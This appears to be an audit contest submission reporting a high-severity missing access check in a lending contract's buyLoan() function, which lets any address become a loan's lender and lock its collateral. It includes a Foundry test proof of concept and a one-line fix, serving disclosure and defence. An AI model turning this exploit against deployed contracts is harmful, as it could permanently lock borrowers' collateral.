20,000 USDC
View results
Submission Details
Severity: high
Valid

Lender.buyLoan()::Arbitrary user who is not lender of pool can become the lender of loan, and lock loan’s collateral forever.

Summary

Arbitrary user who is not lender of pool can become the lender of loan, and lock loan’s collateral forever.

Vulnerability Details

At the end of the buyLoan() function, it updates the loans[loanId].lender to msg.sender. However, the function does not check if pool owner equals to msg.sender, Anyone can update themselves to loan[loanId].lender.

If the loan[loanId].lender does not equals to pool lender, the getPoolId() will return different pool address than its actual pool Id. Most of the function will revert and it will lock all the funds of loan.

test code: modified from Lender.t.sol
This code should revert, but it works even if the function called with random address.

function test_buyLoan() public {
test_borrow();
vm.warp(block.timestamp + 364 days + 12 hours);
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
//@audit random address buyLoan using lender2's pool.
vm.startPrank(randomAddress);
lender.buyLoan(0, poolId);
// should revert, but it works.
}

Impact

Locking all the collateral using buyLoan function.

Tools Used

vs code

Recommendations

add this line of code to buyLoan().

if(pools[poolId].lender != msg.sender) revert();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.